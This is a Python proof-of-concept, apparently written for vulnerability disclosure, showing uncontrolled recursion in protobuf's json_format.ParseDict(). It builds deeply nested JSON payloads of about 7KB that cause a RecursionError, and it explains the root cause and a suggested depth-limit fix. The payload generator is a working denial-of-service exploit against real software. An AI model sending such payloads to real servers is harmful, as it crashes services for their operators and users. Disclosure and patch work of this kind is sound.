| """ |
| PoC: protobuf json_format.ParseDict() Uncontrolled Recursion |
| Target : protobuf (PyPI `protobuf`) β google.protobuf |
| Format : Protocol Buffers (binary + JSON) |
| Tested : protobuf 5.29.6, Python 3.12 |
| Author : mgm-77 / MBM7 |
| |
| === Finding: json_format.ParseDict() recurses on nested message fields |
| with NO depth limit β crashes server with RecursionError on 7.4KB payload === |
| CWE-674 (Uncontrolled Recursion) |
| |
| google/protobuf/json_format.py, _ConvertMessage(): |
| |
| def _ConvertMessage(value, message, path): |
| for field_name, field_value in value.items(): |
| ... |
| _ConvertMessage(field_value, sub_message, path) # β no depth check |
| |
| json_format.ParseDict() uses _ConvertMessage() which recurses per nested |
| message level with NO depth limit. The binary parser (ParseFromString) has |
| DEFAULT_RECURSION_LIMIT=100, but ParseDict() has zero protection. |
| |
| === Asymmetry === |
| ParseFromString(): DEFAULT_RECURSION_LIMIT = 100 β PROTECTED |
| ParseDict(): no recursion limit β UNPROTECTED |
| |
| === Attack scenario === |
| API accepts JSON from user β calls ParseDict(user_json, proto_message) |
| β RecursionError crashes the server at depth=200 (default Python stack). |
| |
| A 7,446-byte JSON payload with 200 nesting levels crashes any Python |
| server that uses ParseDict() to convert user-supplied JSON to protobuf. |
| """ |
|
|
| import json |
| import sys |
| import tracemalloc |
| from google.protobuf import struct_pb2 |
| from google.protobuf.json_format import ParseDict, MessageToJson, MessageToDict |
|
|
|
|
| |
|
|
| def make_nested_json_payload(depth: int) -> dict: |
| """ |
| Build a Struct-compatible JSON dict with `depth` levels of nesting. |
| Each level wraps the previous in a struct_value field. |
| """ |
| inner = {"string_value": "x"} |
| for _ in range(depth): |
| inner = {"struct_value": {"fields": {"x": inner}}} |
| return {"fields": {"root": inner}} |
|
|
|
|
| |
|
|
| print("=" * 64) |
| print("protobuf json_format.ParseDict() Uncontrolled Recursion") |
| print("CWE-674 β no depth limit on nested message conversion") |
| print("=" * 64) |
| print(f"\n Python recursion limit : {sys.getrecursionlimit()}") |
| print(f" Binary parser limit : DEFAULT_RECURSION_LIMIT = 100") |
| print(f" ParseDict() limit : NONE (unprotected)") |
|
|
| CASES = [ |
| (150, "near crash"), |
| (200, "confirmed crash at default limit"), |
| (250, "also crashes"), |
| ] |
|
|
| for depth, label in CASES: |
| payload = make_nested_json_payload(depth) |
| payload_str = json.dumps(payload) |
| payload_b = payload_str.encode() |
|
|
| print(f"\n [{label}]") |
| print(f" Nesting depth : {depth} levels") |
| print(f" JSON payload : {len(payload_b):,} bytes") |
|
|
| tracemalloc.start() |
| try: |
| msg = struct_pb2.Struct() |
| ParseDict(payload, msg) |
| peak = tracemalloc.get_traced_memory()[1] |
| print(f" Result : OK (unexpected) peak={peak/1e6:.0f}MB") |
| except RecursionError: |
| peak = tracemalloc.get_traced_memory()[1] |
| print(f" Result : RecursionError β server CRASH β") |
| print(f" Peak memory : {peak/1e6:.0f} MB") |
| except Exception as e: |
| peak = tracemalloc.get_traced_memory()[1] |
| print(f" Result : {type(e).__name__}: {e}") |
| print(f" Peak memory : {peak/1e6:.0f} MB") |
| finally: |
| tracemalloc.stop() |
|
|
| |
| print() |
| print("=" * 64) |
| print("Contrast: binary ParseFromString IS protected (depth limit 100):") |
| try: |
| msg = make_nested_json_payload(200) |
| struct_msg = struct_pb2.Struct() |
| ParseDict(msg, struct_msg) |
| binary = struct_msg.SerializeToString() |
| msg2 = struct_pb2.Struct() |
| msg2.ParseFromString(binary) |
| print(f" ParseFromString(depth=200): OK") |
| except RecursionError: |
| print(f" ParseFromString(depth=200): RecursionError (binary also crashes)") |
| except Exception as e: |
| print(f" ParseFromString(depth=200): {type(e).__name__}: {e} β BLOCKED by depth limit") |
|
|
| print() |
| print("=" * 64) |
| print("Root cause β google/protobuf/json_format.py, _ConvertMessage():") |
| print() |
| print(" def _ConvertMessage(value, message, path):") |
| print(" for field_name, field_value in value.items():") |
| print(" ... ") |
| print(" _ConvertMessage(field_value, # β recurses with NO depth check") |
| print(" sub_message, path)") |
| print() |
| print("Suggested fix: add depth parameter and limit:") |
| print(" def _ConvertMessage(value, message, path, depth=0):") |
| print(" if depth > _MAX_RECURSION_DEPTH: # e.g. 100") |
| print(" raise ParseError('Message too deeply nested')") |
| print(" _ConvertMessage(field_value, sub_message, path, depth+1)") |
| print() |
| print("=" * 64) |
| import importlib.metadata |
| print(f"protobuf : {importlib.metadata.version('protobuf')}") |
| print(f"Python : {sys.version.split()[0]}") |
|
|